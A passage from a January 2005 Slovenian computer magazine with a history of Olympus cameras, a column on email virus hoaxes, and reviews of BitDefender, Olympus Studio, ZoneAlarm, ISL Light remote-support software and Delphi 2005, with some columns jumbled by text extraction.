in počasi po ceni lovi fotolaboratorije, kar je za
uporabnike zelo spodbudna novica.



ZGODOVINA FOTOGRAFIJE
OLYMPUS

OLYMPUS NA OLIMPU

Vse se je začelo pred 86 leti z nalogo narediti prvi japonski mikroskop. Iz tega je
zrasla korporacija Olympus, ki jo danes mnogi poznamo predvsem v fotografskem
svetu, a njeno pomembno področje je še vedno medicinska tehnika.
Piše : Alan Orlič Belšak
alan.orlic@mojmikro.si

P

rvotno ime je bilo Takachiho Seisakusho, pod blagovno znamko Olympus pa
so začeli prodajati dve leti po ustanovitvi. Cilj, narediti prvi japonski mikroskop jim je uspel zelo hitro. Izdelovati so začeli tudi klinične termometre in v se tridesetih
letih prejšnjega stoletja podali v fotografske
vode.
Prvi fotoaparat, predstavljen leta 1936, se je
imenoval Semi Olympus I, tri leta pozneje pa
mu je sledil Olympus Six I. Oba sta uporabljala format filma 120, ki ga še danes uporabljajo srednjeformatni fotoaparati. Model Six
je doživel kar šest nadgradenj in so
ga izdelovali vse do leta 1955. Leta
1937 so razvili model Standard, ki
pa zaradi vojne nikoli ni videl serijske proizvodnje. Vojna je zaustavila
proizvodnjo vse do leta 1948.
Naslednje leto se je tovarna preimenovala v Olympus Optical Co.
in njihove delnice so začele kotirati
na tokijski borzi. V svet filma Leica
so vstopili z modelom 35, ki so ga
z različnimi predelavami izdelovali
kar 30 let, do leta 1978. Pomemben
korak je serija modelov Pen, ki so se
ponašali s samodejnim merjenjem
svetlobe in polovičnim formatom slike. Tako
je na en film, ki je bil sicer za 36 posnetkov, zapisal dvakrat več, kar 72 posnetkov. Za ta model so razvili celo vrsto objektivov, kar 17, in
dodatkov, od makro nastavkov do vmesnikov
za druge tipe objektivov, tudi Leicinih.

OMOV PEČAT

A pravo obdobje razcveta se je začelo s serijo
OM, ki je pustila močan pečat v fotografiji. Še
danes se jih najde kar nekaj, ki te fotoaparate
pridno uporabljajo, predvsem v jamski fotografiji. Za izdelavo prvega modela OM-1 so si vzeli šest let in ga leta 1972 predstavili fotografski
srenji. Bil je bistveno lažji in manjši od podobnih aparatov drugih proizvajalcev, poleg tega
je imel zelo tih zaklop in veliko iskalo. Skupaj
z vzdržljivim in trpežnim ohišjem je bil pravo
orodje za profesionalne fotografe, branili pa se
ga niso niti amaterji. Sistem se je z leti širil,
modelu OM-1 so sledili še 2, 3 in 4, zadnja dva
tudi z ohišjem iz titanove zlitine, če naštejemo le nekaj pomembnejših. Posebna prelomnica je bil OM-2, ki je bil prvi s tehnologijo
merjenja svetlobe bliskavice TTL (Thru The
Lens − skozi objektiv). Ta pomembna novost
je olajšala rabo bliskavic in nadzor nad njimi,

z nekaterimi izboljšavami pa se še danes uporablja v večini zrcalnorefleksnih fotoaparatih,
tudi digitalnih. Zadnji fotoaparat iz te serije je
bil predstavljen leta 1997, OM-2000.
A vmes se je zgodila pomembna prelomnica,
samodejno ostrenje. Prvi njihov model je bil
OM-30 iz leta 1983, ki je imel ostrenje izvedeno kar na objektivu. Pravi fotoaparat je prišel
štiri leta pozneje, OM-707, leto kasneje mu je
sledil še OM-101. Tu se zgodba o Olympusovih analognih zrcalnorefleksnih fotoaparatih s
samodejnim ostrenjem konča. Ali so se vodilni
možje ustrašili zaradi zamude, kajti večina drugih proizvajalcev je že prestopila na ta vlak, ali
pa so videli priložnost kje drugje, tega žal ne
bomo izvedeli.

ZLR IN ŽEPNI MODELI

Drugače kot konkurenca so se raje posvetili
žepnim modelom in fotoaparatom ZLR (Zoom
Lens Refleks − pravi zrcalnorefleksni fotoaparat, ki nima možnosti menjave objektiva). Začeli so s fotoaparati XA, ki je prvi imel danes
že zelo razširjen drsni pokrovček, ki ščiti objektiv. Najbolj znana je predvsem serija myu,
ki je prestopila v digitalne vode. Myu-1 in njegov naslednik myu-2 sta bila priljubljena tudi
med profesionalnimi fotografi, saj sta majhna
in predvsem zanesljiva.
Med malčki najdemo kar nekaj zanimivosti.
AF-1 je bil prvi vremensko odporen kompaktni fotoaparat, O Product pa je bil mešanica
retro oblikovanja in moderne tehnike v aluminijastem ohišju, namenjen predvsem zbirateljem. Naredili so jih namreč le 20.000 ob 70.
obletnici ustanovitve podjetja.

V MEDICINSKEM SVETU

Poglejmo si še malce medicinsko zgodovino.
Prav Olympusovi razvojniki so naredili prvo
gastroskopsko kamero in to pred več že kot
50 leti. Poleg že na začetku omenjenih mikroskopov in endoskopske opreme so v njihovem
programu še kirurška oprema in kemični ana-

Olympusova legenda
Vsak pravoverni fan Olympusovih OM-ov
je že slišal za Yoshihisa Maitanija. Ta zdaj že
upokojeni inženir je namreč stal za razvojem
marsikaterega Olympusovega fotoaparata,
od modela Pen naprej. Bil je tudi glavni pri
razvoju fotoaparata OM-1 oziroma sistema
OM in seveda še pri marsikaterem drugem
projektu. Njegovo navdušenje nad fotoaparati je bilo takšno, da je velikokrat delal
nadure, le zato, da bi lahko čimveč naredil.
In kako je gospod sploh postal slaven? V
ameriškem marketinškem oddelku so se odločili za promocijo fotoaparatov in ga uporabili kot glavni lik za marketinško akcijo.
lizatorji, če naštejemo le najbolj znane. Če se
vrnemo k fotografiji − za mikroskope so razvili
posebne modele fotoaparatov, ki so bili prirejeni za takšno rabo, nekateri so bili celo brez
zaklopa.

DIGITALNA DOBA

V digitalnem svetu so Olympusu zelo prav
prišle izkušnje, ki so si jih pridobili s kompaktnimi fotoaparati. Čeprav na začetku niso
bili vodilni, so dokaj hitro, leta 1987, predstavili svoj prvi model, V-100. Sledila sta mu
VC-102, ki je imel objektiv s spremenljivo
goriščnico, in serija Deltis. Ločljivost je bila
skromnih 640 x 480 oziroma 768 x 576 pik,
cena pa primerna tistemu času. Pravo obdobje
se je začelo leta 1996, ko je prišel na trg D200L z ločljivostjo 640 x 480 pik in s ceno,
ki je že bila primerna za domači žep. Sledil mu
je D-300L z ločljivostjo 1024 x 768 pik. Leto
pozneje je prišel C-1000L, njegovega naslednika, C-1400L pa smo dolgo časa uporabljali
tudi v uredništvu Mojega mikra. Posebnež, ki
se ni nikoli uveljavil, je bil C-211 z vdelanim
tiskalnikom, za fotoreporterje pa so naredili
model E-100RS, ki ima še zdaj neulovljivih
15 posnetkov na sekundo.
Od tu naprej je zgodovina že bolj ali manj
znana, pravo revolucijo pa pomeni sistem 4/3.
Z njim se je Olympus vrnil v zrcalnorefleksni razred in v primerjavi z drugimi proizvajalci
so lahko sistem postavili na novo, ne da bi jim
bilo treba upoštevati omejitve prejšnjih fotoaparatov ali velikosti tipal. Odločili so se za razmeroma majhno tipalo (faktor povečave je 2x v
primerjavi s 35 mm fotoaparati) in s tem sledili
smernicam, ki so jih postavili že s fotoaparati
OM in Pen. Manjše tipalo ima več prednosti
− fotoaparat je lahko manjši, enako objektivi,
ki so pri enaki velikosti svetlejši. Zaenkrat sta
predstavljena le dva modela, E-1 in E-300, o
katerem lahko berete v tej številki Mojega mikra, že kmalu pa pričakujemo naslednika E-1.
S predstavitvijo sistema 4/3 so začeli resneje sodelovati v formuli 1, s Ferrarijevim moštvom. A to ni njihovo prvo sodelovanje v tem
hitrem športu; že leta 1985 so sodelovali z Lotusom (moštvom JPS), za katerega je vozil tudi
legendarni, a pokojni Ayrton Senna.


MOJ MIKRO 1 JANUAR 2005

69

PROGRAMSKA OPREMA

preizkusili smo

URE JA : Milan Simčič milan.simcic @ mojmikro.si

»Prosimo,
pošljite
naprej«

P

red dnevi sem od prijateljice prejel
elektronsko pošto, v kateri me opozarja,
da po internetu kroži zelo nevaren
virus, ki pobriše določene datoteke iz
trdega diska. V prilogi naj bi bilo vse natančno
obrazloženo. Za večjo verodostojnost informacije
naj bi poskrbelo še priporočilo korporacij
Microsoft in Symantec, da je treba biti nadvse
pazljiv. Že po načinu, kako je bila vsebina
elektronske pošte sestavljena, je bilo jasno,
da gre za potegavščino. Seveda sem se lahko
zelo hitro prepričal, da moja domneva drži, po
obisku Symantecove strani, kjer je bilo natančno
razloženo, da gre dejansko za potegavščino.
Ob takih dogodkih se vedno spomnim prvih
virusov, ki so krožili po elektronski pošti.
Prispelo je sporočilo z navodilom, češ je treba
vse datoteke z diska C zbrisati, ker da so
okužene. Ne boste verjeli, da je bilo kar nekaj
takih, ki so svoje neznanje drago plačali. Pozneje
so se pojavile še nove različice omenjenega
»virusa«, kjer smo v elektronski pošti dobili
natančna navodila, katere sistemske datoteke je
treba v računalniku pobrisati. Jasno je, da po
ponovnem zagonu računalnik ni več deloval in
treba ga je bilo odnesti na servis.
Pa se vrnimo k elektronski pošti, ki sem
jo prijel od prijateljice. V tem primeru je bilo
v elektronskem sporočilu jasno zapisano, da
Microsoft in Symantec naprošata vse prejemnike
elektronskega sporočila, naj ga posredujejo
vsem svojim znancem in »neznancem« zaradi
obveščanja pred zlonamerno kodo. Cilj tega
sporočila pa je bil v resnici, da se v kratkem
času vsi poštni strežniki zapolnijo z ogromno
količino elektronske pošte, ki bi prihajala od
povsod in je namenjena na ogromno koncev.
Zamislimo si, da vsak, ki prejme tovrstno
sporočilo, tega razpošlje na vsaj 50 naslovov.
Kam to pelje? Kaj kmalu se zasitijo vse povezave
in strežniki. Sistem se sesuje. K sreči pa je tudi
precej uporabnikov osveščenih in ne padajo na
take poceni trike.
V tem letu pričakujem kar precej različnih
virusov in zlonamernih kod, ki pa bodo na precej
višji ravni od zgoraj omenjenih. Torej pazljivo
tudi v novem letu, saj virusi ne izbirajo ...



70

MOJ MIKRO 1 JANUAR 2005

BitDefender 8 Professional Plus

VSESTRANSKA, A NE POPOLNA ZAŠČITA
BitDefender je predvsem znan po svojem protivirusnem programu, osma izdaja pa je
zaščito razširila še na področje varovanja pred neželeno pošto in vdori v računalnik
Piše : Jernej Pečjak
jernej.pecjak@mojmikro.si

G

lede na dolgo
tradicijo ponuja protivirusni modul
največ
možnosti.
Poleg stalne zaščite
izvršnih datotek ponuja zaščito pred virusi v programih za
komunikacijo in v
omrežjih P2P. Ves čas
se preverjajo register,
dejavnosti prek interneta in datotečni
sistem, s posebnimi
metodami pa program BitDefender 8 Professional Plus se želi bojevati proti virusom, neželeno pošto in
prepreči vstop tudi omogočiti požarni zid, kar mu ne uspeva stoodstotno.
nekaterim neznanim
virusom. Lokalne datoteke lahko pregledamo zidu Windows ali drugim rešitvam. Imeti mobodisi ročno bodisi s časovnim nastavljanjem. ramo torej usmerjevalnik (router), požarni zid
Sumljive datoteke se shranjujejo v karanteni, v Windows XP SP2 ali drugo rešitev za blokisamodejno pa se odpošljejo tudi avtorjem pro- ranje napadov od zunaj. Nadzorujemo pa lahgrama, kar pa lahko izključimo. Pošta se pre- ko pretok podatkov od našega računalnika v
gleduje na ravni protokola POP3, zato nismo internet s selektivnim izborom, kateri program
vezani na določenega odjemalca.
sme pošiljati podatke in kateri ne, upravljanje
Blokiranje neželene pošte prav tako deluje z modemom, izvrševanje skriptov in vodenje
prek protokola POP3, s posebnim modulom pa brskalnikovih piškotkov. Slednje je bolj ali
se poveže z Outlookom in Outlook Expressom manj odveč, saj moderni brskalniki sami zelo
ter omogoča neposredno nastavljanje njego- dobro upravljajo s piškotki.
vih možnosti. Kriterije za pregled določimo
BitDefender se samodejno nadgrajuje, poz učenjem (Bayesov filter), kjer se filter sam moč v programu pa je narejena pregledno v
uči glede na naše označbe želenih in neželenih obliki posebnega stolpca, ki prikaže, kar je pač
sporočil. Za večjo učinkovitost je dodan tudi trenutno aktualno. Vseeno pa program pusti
hevristični filter. Določimo lahko tudi seznam nekoliko grenak priokus, saj je požarni zid prenaslovov, iz katerih se pošilja tovrstna pošta, cej pomanjkljiv, protivirusni modul bi lahko
in seznam znancev, od katerih želimo prejeti poznal tudi vse vohunske skripte (spyware),
vse, kar pošljejo. Gre za tako imenovani črno- licenco pa je treba plačevati letno. 
bel seznam (blacklist/whitelist), kamor lahko
uvozite tudi sezname s spletnih strani, ki se
BitDefender 8 Professional Plus
bojejo proti neželeni pošti. Na voljo je nekaj
Kaj: Protivirusni program, zaščita pred neželeno
posebnih možnosti, kot je filtriranje glede na
pošto in požarni zid
uporabo znakov (blokada azijskih in arabskih
Za: Protivirusni program, enostavnost
simbolov ipd.). Kljub vsemu pa je filter v naših
Proti: Požarni zid, letna naročnina
testih prepustil kar precej »smeti«, več kot neOperacijski sistem: Windows 98�XP
katere brezplačne rešitve (denimo K9).
Cena: 45 dolarjev za eno leto,
Najmanj uporaben je požarni zid, ki mu najvsako naslednje po 22 dolarjev.
bolj zamerimo to, da varuje le pred napadi od
Spletni naslov proizvajalca: www.bitdefender.com/
znotraj, tiste od zunaj pa prepušča požarnemu

PREIZKUSILI SMO ...
Olympus Studio

FOTOGRAFI ZA RAČUNALNIKOM
Olympus je sicer dokaj pozno zaplaval v profesionalne vode z zrcalnorefleksnim
digitalnim fotoaparatom, a so si izkušnje nabirali že prej, z modeloma E-10 in E-20.
Piše : Alan Orlič Belšak
alan.orlic@mojmikro.si

Z

modelom E-1 so naredili velik korak
naprej tudi v razvoju programske opreme. A drugače kot pri Canonovih in
Nikonovih aparatih je treba program
kupiti. Na voljo je sicer tudi oskubljena različica, a ta nima možnosti
obdelave slik, zna jih le
pregledovati in pretvoriti
iz surovega (pri Olympusu
ORF) formata v JPEG oziroma TIFF. A če primerjamo Olympusov Studio s
prvima dvema, ima slednji
veliko več možnosti.

PREGLED SLIK

Program je podobno
kot drugi razdeljen na dva
dela: prvi je namenjen pregledu, drugi obdelavi slik.
Pri pregledu pozna štiri
načine dela, ki zelo spominjajo na klasično delo z
diapozitivi na sortirni mizi. Naenkrat imamo
lahko v večjih oknih do štiri slike (dve je priporočljivo), ki jih lahko primerjamo med seboj.
Pri povečavi se vse slike povečajo na enakem
mestu, tudi ko spreminjamo položaj pogleda,
se slednji spreminja na vseh slikah. Ko želimo
med seboj primerjati dve ali več slik, je tak način dela zelo primeren, saj hitro vidimo razlike
med posameznimi posnetki. Program ima tudi
možnost celostranskega pregleda, podobno kot
na primer ACDSee. Potek dela je dokaj podoben kot pri že omenjeni sortirne mizi. Posnetke
lahko hitro označimo s tremi barvnimi oznakami, rdečo, rumeno in modro, ter s tem določimo, ali
so nam všeč ali ne. Poleg
tega jih lahko razdelimo
še v dve zbirki, tako da izbira ustreznih posnetkov
poteka zelo hitro. Pri tem
je treba pripomniti, da je
sta brskanje po slikah in
pregled izjemno hitra −
čeprav so surove datoteke
velike 10 MB, jih Studio
odpre tako rekoč takoj.

Olympus Studio

OBDELAVA

Drugi del je namenjen
obdelavi slik. Razkošje
možnosti, ki se tu odpre,
bo zadovoljilo tudi najzahtevnejše uporabnike. Za-

72

radi njih je delovno okno že kar malce preveč
zapolnjeno in je na račun tega treba zmanjšati
sam posnetek. Program ponuja od obdelave
surovih datotek, popravljanja napak objektiva, dodajanja filtrov, odstranjevanja šuma do
dodajanja besedila na sliko in izrezov. Te nastavitve lahko shranimo in jih uporabimo na
naslednji fotografiji ali v skupinski obdelavi.
Vse popravke program takoj vnese v sliko, kar
utegne biti pri počasnejših računalnikih kar
zahtevno opravilo, predvsem odstranjevanje
šuma. Pri obdelavi surovih slik so na voljo tudi
tiste možnosti, ki so sicer le v fotoaparatu. Popravimo lahko ostrino, kontrast in barvne nastavitve. Podobno velja tudi za protišumni filter, ki ga lahko vklopimo ali izklopimo ne glede
na nastavitev v fotoaparatu. Dodajanje filtrov
je podobno kot pri programu Adobe Photoshop CS, dodajamo pa lahko različne učinke,
podobne klasičnim fotografskim filtrom. Ljubitelji črno-bele fotografije bodo cenili tudi
možnost uporabe teh filtrov, kajti takoj dobimo
usstrezno črno-belo fotografijo. Za nameček so
poskrbeli še za odpravo učinka rdečih oči, kar
utegne biti marsikomu čisto uporabna funkcija. Ustavimo se še pri dveh možnostih, skupinski (batch) obdelavi in nadzoru fotoaparata.
Skupinska obdelava je pomembna, ko želimo
hkrati obdelati več slik s skupnimi parametri.
Obdelava poteka zelo hitro, saj porabi le nekaj
sekund na posnetek, da ga pretvori v format
JPEG. Žal v tem času ne moremo uporabljati
brskalnika, temveč moramo počakati do konca obdelave. Nadzor fotoaparata je zanimiva
možnost predvsem za studijsko delo, saj fotoaparat takoj prenese sliko v osebni računalnik.
Pregled je tu hitrejši, predvsem pa pokaže pravo sliko. Z računalnikom lahko naredimo tudi
časovni zajem slik, recimo vsakih nekaj sekund
ena slika. Program ima kar nekaj možnosti za
nastavitve, tako da si ga lahko uporabnik prilagodi po lastnem okusu. To velja predvsem za
pregled slik in za splošne nastavitve.
Olympus Studio je zanimiv program, in če
veliko fotografirate ter dodatno obdelujete slike, se vam zagotovo splača razmisliti o nakupu.
Je dražji kot Phase One C1 LE različica (najosnovnejša), a ponuja bistveno več. Vse tisto,
kar ste v fotoaparatu napačno nastavili ali pozabili, lahko s tem programom popravite. Kar
bi lahko bilo boljše, je hitrost delovanja, kajti
ko enkrat sliko obdelujete, program popravke
izvaja takoj in zahtevnejših je treba počakati
nekaj sekund, da jih izvede. Olympus Studio
je vsekakor dodatek, ki si zasluži pozornost ne
le profesionalnih, temveč tudi amaterskih uporabnikov. 

MOJ MIKRO 1 JANUAR 2005

Založnik: Olympus
Za: Možnosti, hitrost pregledovanja
Proti: Obdelava
Cena: 43.800 SIT
Posodil: Sting, d.o.o.

PREIZKUSILI SMO ...
paket za zaščito računalnika

ZoneAlarm
Security Suite

ISL Light – ASP Subscription

POMOČ NA DALJAVO

Zamislite si naslednji položaj. Ste podjetje, ki ponuja svoje storitve v
najem (outsorcing). Ker so stranke na različnih krajih, porabite dnevno kar
precej časa za prevoz od ene do druge. Poleg časa izgubljate verjetno še
kaj drugega. Ali ne bi bilo preprosteje, če bi vse postorili pred zaslonom v
zavetju svoje pisarne, pred računalnikom in pri telefonu?
Pišeta : Aleš Farkaš in Milan Simčič
ales.farkas@mojmikro.si, milan.simcic@mojmikro.si

P
P

odjetje Zone Labs je poznano po brezplačnih lahkih
požarnih zidovih, ki uporabnikom rabijo predvsem
doma. V svoj novi paket ZoneAlarm Security Suite
so uvrstili kar precej programov, ki pa so vsi nadvse dobrodošli in predvsem potrebni.
Včasih imam občutek, da bomo sčasoma kupovali le še
dodatke k sistemu, ker je sama zasnova operacijskega sistema preveč ranljiva in dovzetna za takšne ali drugačne
napade. Kakorkoli že, ZoneAlarm naj bi vas kušal pred
tem zaščiti.
Zbirka ima dva neločljiva programska sklopa, ki pa
sta še kako potrebna: zaščito pred virusi in požarni zid.
Seveda vsak od njiju obvlada različna polja delovanja.
Protivirusni program pazi na vaše podatke in odstranjuje
nadlogo, še preden je napaka storjena. Požarni zid varuje vsa vhodna vrata v vaš računalnik in vam »teži«, kaj
storiti. Seveda s tem preprečuje tako vohunskim programom kot tudi vsem drugim vstop brez dovoljenja. Ščiti
tudi vaše osebne podatke in ne dovoli, da jih kdo prenese
iz računalnika.
Vse več mladih uporablja tudi klepetne programe
(MSN, ICQ, Yahoo Messenger ...), ki pa so v osnovi nezaščiteni in zato dovzetni za takšne ali drugačne zlorabe.
ZoneAlarm ima modul tudi za preprečevanje teh. Še več,
zna šifrirati vhodne podatke.
Sam program je, podobno kot njegova najosnovnejša
različica, precej enostaven za uporabo. Vsekakor pa boste
porabili nekaj več časa, da se prebijete skozi vse nastavitve, ki jih je res veliko. Najnujnejše program nastavi že pri
namestitvi. O vsem drugem dogajanju na stičišču kabla
in sistema vas bodo obveščali prijazni balončki, na katere se boste navadili neprestano klikati in dovoljevati ali
zavračati prihajajoče in odhajajoče pakete. V glavnem,
ZoneAlarm Security Site je trenutno vse, kar potrebujete za zaščito, združeno v enem programu.
Aleš Farkaš

ZoneAlarm Security Suite
Namenjen: Domačim uporabnikom in manjšim organizacijam
Za: Vse v enem za domačo zaščito računalnika
Proti: Za začetnika preveč nastavitev in neznanih pojmov.
Cena: Akcijska cena 69,95 USD, sicer 94,90 USD (za dve leti)
Spletni naslov proizvajalca: www.zonelabs.com/

74

MOJ MIKRO 1 JANUAR 2005

rav to so imeli v mislih snovalci programa ISL Light
– ASP Subscription. Ta odjemalčev računalnik pripelje
na vaš zaslon, kjer v miru postorite
to, kar stranka potrebuje.

XLAB � IZ NEDRIJ INŠTITUTA
JOŽEF STEFAN

XLAB, d.o.o., je visokotehnološko podjetje, ustanovljeno leta 2001
kot odcepljeno podjetje (spin off)
Inštituta Jožef Stefan. Glavni dejavnosti podjetja sta razvoj programske

opreme in svetovanje na področju
informacijskih tehnologij. Z lastnim
znanjem so v XLAB-u v zadnjih treh
letih delovanja oblikovali pet razvojnih oddelkov, v katerih sodeluje
20 sodelavcev. V letu 2003 so ustanovili raziskovalno skupino (XLAB
Research) ter sklenili strateško partnerstvo na raziskovalnem področju z
Inštitutom Jožef Stefan in Univerzo
v Ljubljani.

SVETOVNO PRIZNANA
IZDELKA

Podjetje trenutno na globalnem
trgu nastopa z dvema svetovno priznanima izdelkoma. Prvega so razvili v okviru oddelka za telekomunikacije in računalniške mreže − gre
za programski paket ISL Light, ki
omogoča dostop prek interneta na
računalniško namizje stranke. Tako

se lahko stranka pri težavah obrne na svojega
svetovalca, ki ji prek programa ISL Light hitro
in kakovostno svetuje pri uporabi programske
opreme, pomaga pri namestitvi programov in
podobno. Program omogoča tudi interdisciplinarno delo, kot je skupno oblikovanje različnih preglednic, načrtov in drugih dokumentov, ter izmenjavo datotek. Pri komuniciranju
med stranko in svetovalcem je zagotovljena
popolna varnost izmenjave podatkov, saj se
ti prenašajo prek varne (SSL) povezave. Programski paket ISL Light je mogoče brezplačno
preizkusiti na spletnem naslovu www.epomoc.
net.

KAKO DELUJE

ISL Light - ASP Subscription deluje preprosto. Seveda potrebujete najprej svojo registracijsko kodo, ki jo pridobite po vplačilu
licence. Z njihove spletne strani si prenesete
preprost program, ki ga poženete s svojimi
podatki. Ta se poveže v centralni strežnik in
pridobi kodo, ki ponazarja številko seje. Nato
samo čakate na »žrtev«, da vas pokliče. Ko
vas stranka pokliče, ji poveste, da si mora s te
spletne strani prenesti odjemalčev del in vpisati geslo, ki ji ga poveste vi. To je tista koda,
ki vam jo vrne vaš program.
Ko se vsi trije računalniki dogovorijo okrog potankosti seje, se vaše delo lahko začne. Čar celotne zadeve je v tem, da ne odjemalec ne strežnik
ne potrebujeta velikega in prostorsko ter pomnilniškega zahtevnega programa, da bi celotna
izmenjava in delo potekala. Težava bi bila lahko
morda le počasna telefonska povezava stranke.
Marsikdo me bo takoj prijel za jezik in pripomnil, da že Windows XP omogoča delo in

PREIZKUSILI SMO ...
ISL Light – ASP Subscription
pomoč na daljavo prek drugega računalnika.
To je res, vendar ali ima stranka kaj od tega?
Njen zaslon se pri tem delu zaklene in ne vidi,
kaj se dogaja. Pri skeptičnih strankah z občutljivi programi vam to gotovo ne bo uspelo, če
pa se povežete prek oddaljenega nadzora, pa
morate biti v okviru iste skupine organizacij,
sicer to ne deluje. ISL Light odpravi te težave.
Najpomembnejše je, da lahko stranka v vsakem trenutku prekine vaše delovanje, kakor
tudi to, da lahko vse, kar počnete na njenem
računalniku, vidi prav v tej obliki kot vi.

kopiranja datotek (povleci in spusti) doseže s
pritiskom na funkcijsko tipko F11. Z F12 pa
vam v vsakem trenutku lahko odvzame oblast nad tipkovnico in miško. Mimogrede naj
omenim, da deluje prenos datotek v obe smeri. Ima pa seveda ISL Light ASP še kar nekaj
dobrih lastnosti. Poleg tega, da lahko program
uporabljate iz katerega koli računalnika, tudi
javnega, se vaša mobilnost poveča. Delovanje
je mogoče tudi v obratni smeri. Kar pomeni, da
ni nujno, da se postavite samo v vlogo serviserja, lahko ste tudi skupinska ekipa, ki dela pri
projektu znotraj večjih skupin. Tako si izmePOMOČ STRANKI
njujete namizja in seveda kakovostno opravite
Celotna zadeva poteka nekako takole. Stran- svoje delo. Za razliko od operacijska sistema pa
ka ima na voljo dve možnosti. Preprečevanje se ISL Light ASP zna pogovarjati tudi v več
jezikih, ki niso nujno
vezani na tistega v operacijskem sistemu. PodAnton Setnikar, www.turbosist.si:
prti so naslednji jeziki:
»Pred dobrim letom smo iskali optimalno rešitev za tehnično
slovenščina, angleščina,
podporo na daljavo, ki bi omogočala zadovoljivo tehnično izvednemščina, italijanščina,
bo, seveda v okviru realne vrednoti. Preizkusili smo kar nekaj tofrancoščina, španščina,
vrstnih izdelkov na svetovnem trgu, pri čemer smo seveda naleteli
švedščina in nizozemščina vrsto bolj ali manj uporabnih programskih rešitev. Za ISL Light
na. Vmesnik omogoča
smo se odločili iz več razlogov, med katerimi velja izpostaviti predtudi komunikacijo prek
vsem realno ceno, dobro tehnično podporo ekipe XLAB in razvoj
samega sebe. Se praizdelka, skladno z realnimi željami in potrebami strank.
vi, da imate v program
Gotovo obstajajo tudi razlogi za manjše nezadovoljstvo, vendar
vdelan tudi pogovorni
jih skoraj nima smisla poudarjati, ker bodo po dosedanjih izkuš(chat) program. Tako
njah v novem paketu že odpravljeni.
vam ne bo treba ves čas
Program deluje skoraj brezhibno, v prejšnjih različicah se je pojavljalo nekaj napak, a samo pri slabših povezavah v internet. V
zadnji različici pa nismo naleteli na težave, edina pomanjkljivost
je, da nekaterih sistemskih oken ne moremo videti prek vmesnika, vendar to velja zgolj za starejše različice operacijskih sistemov
Windows.
Odjemalec ISL Light je postal del vsakdanjika, naše stranke so
deležne najhitrejše pomoči, znižali pa so se tudi stroški, ki so jih
pred uvedbo podpore na daljavo prinašali terenski servisi, s tem pa
se je tudi znižala cena storitve za končne stranke.«

IZKUŠNJE UPORABNIKOV

presedeti tudi pri telefonu.
ISL Light omogoča teoretično povezljivost
v kateri koli računalnik v okviru svetovnega spleta, seveda oba morata biti povezana v
omrežje. Žal je omejen na okolji Windows in
Linux. Čeprav so programi tako na strankini
kot na vaši strani zelo majhni, se lahko pojavijo težave z dostopnostjo enega do drugega.
Če imate požarne zidove in različne filtre, bo
treba odpreti vrata 7612 in 7615, pač odvisno
od tega, kam gre povezljivost. Celotna seja je
tudi šifrirana s protokolom SSL.
Nedvoumno je ISL Light dober in preprost
program, ki poskrbi namesto vas za povezljivost
dveh oddaljenih računalnikov. Vaša odločitev
pa je, za kaj ga boste uporabljali. Če recimo odpove »žica«, se boste morali vseeno pripeljeti
do stranke. Prav tako verjetno ne boste tega
uporabljali tam, kjer želite imeti pristen stik
s stranko. Vsepovsod drugje pa bo ISL Light
verjetno dobrodošel. 

Srečko Štrucl, CLIP, d.o.o. Maribor:

»ISL Light uporabljam dobro leto dni. Z njim sem spremenil
vzdrževanje naše programske opreme v tolikšni meri, da me zdaj
stranke sprašujejo, ali bom še sploh prišel kdaj do njih. Na začetku
smo imeli težave z nekaterimi strankami, ker niso zaupale v varnost
povezave, a program deluje odlično in stopenj zaščite podatkov je
toliko, da po mojem ustreza vsem vrstam uporabe.
Ker še nimamo izdelanega sistema za spremljanje opravljenih
storitev, je zdaj težava v tem, da moramo veliko dela opraviti ročno (napisati delovni nalog, ga po faksu poslati stranki in čakati na
potrjen odgovor, da lahko izdamo račun). Kjer je le mogoče, spodbujamo uporabo tega programa, ki je res kakovosten in enostaven
za rabo. Uporabljamo ga pri strankah, ki imajo operacijske sisteme
Windows 98, NT, 2000 in XP. Uporabljali smo telefonsko pomoč
pri težavah na začetku uporabe programa. Pomoč je kakovostna in
hitra.«

ISL Light – ASP
Namenjen: Oddaljena pomoč, delo, učenje in še marsikaj drugega.
Za: Dober in preprost program, ki zapolni tisto, česar sam operacijski sistem ne zna.
Proti: �
Cena: 390 EUR
Spletni naslov proizvajalca: www.xlab.si
Posodil (prodaja): XLAB, d.o.o.
MOJ MIKRO 1 JANUAR 2005

75

PREIZKUSILI SMO ...
Borland Delphi 2005 Arhitect

PRENOVLJENO PROGRAMERSKO PREROČIŠČE
Podjetje Borland je že dolgo v igri z izdelavo predvsem kakovostnih programskih orodij, ki temeljijo na hitrem razvoju programov.
V začetku so to bila samo razvijalska orodja, ki so programerjem ponujala dobro osnovo za delo. V zadnjem času pa se poleg te
naloge ukvarjajo tudi z življenjskim ciklom izdelka, od njegove najzgodnejše zasnove pa vse do konca poti.
Piše : Aleš Farkaš
Ales.farkas@mojmikro.si

P

rogramerska industrija je tista, ki nosi računalništvo. Če bi vsi programerji odšli
v pokoj, bi industrija programske opreme
obstala na mrtvi točki. Če pa uporabniki želimo čim boljša in čim bolj izpopolnjena
orodja, morajo programerji poleg dobrega znanja svoje veščine imeti tudi dobra orodja, da
znanje izlijejo v dejanja. In eno od teh je novi
Borlandov Delphi 2005.

VEČ OKOLIJ V ENEM

Delphi 2005 po novem vključuje podporo
tako za okolje Win32 kot tudi za .NET. Delphi
je pobral vse najboljše od predhodnikov (7 in
8) in, pozor, C#. Da, prav ste prebrali, končno
so se odločili, da svoja orodja zapečejo v nekoliko sodobnejših okoljih in začnejo združevati
to, kar imajo. Podobno kot to počne konkurenca. Oba programska jezika sta zapečena v eno
ogrodje za celoten razvoj in razhroščevanje.
Škoda je, da recimo ne moremo pisati malo v
enem, malo v drugem jeziku, pač glede na duševno stanje razvijalca, temveč se moramo odločiti, preden začnemo razvoj. V katerem ogrodju
(Pascal 32, Pascal .NET, C# .NET) delate, vas
bo opozorila ikona v naslovni vrstici. Za vsako
imate na voljo svojo. Mimogrede, če imate nameščen tudi prevajalnik za Visual Basic, ogrodje
zna delati tudi z njim.

IZBOLJŠANA ORODJA

Vendar pa to ni edina sprememba glede na
predhodnike. Zelo veliko jih je, tako glede videza, miselnih okolij in vsega, kar programer vidi,
kakor tudi nevidnega dela, ki pa ga občuti pri
delu. Močno je popravljeno varnostno kopiranje različic v projektnih mapah. Končnico tilda
je zamenjal podčrtaj in v teh datotekah so vdelani že nekakšni kontrolniki različic, ki vodijo
tudi stare prepise (privzeto je 10 shranjevanj).
Omogočeno je tudi njihovo pregledovanje znotraj ogrodja. Seveda vam je na voljo tudi hišno
orodje za vodenje projektov oziroma možnost

nadgradnje na kakšnega že obstoječih.
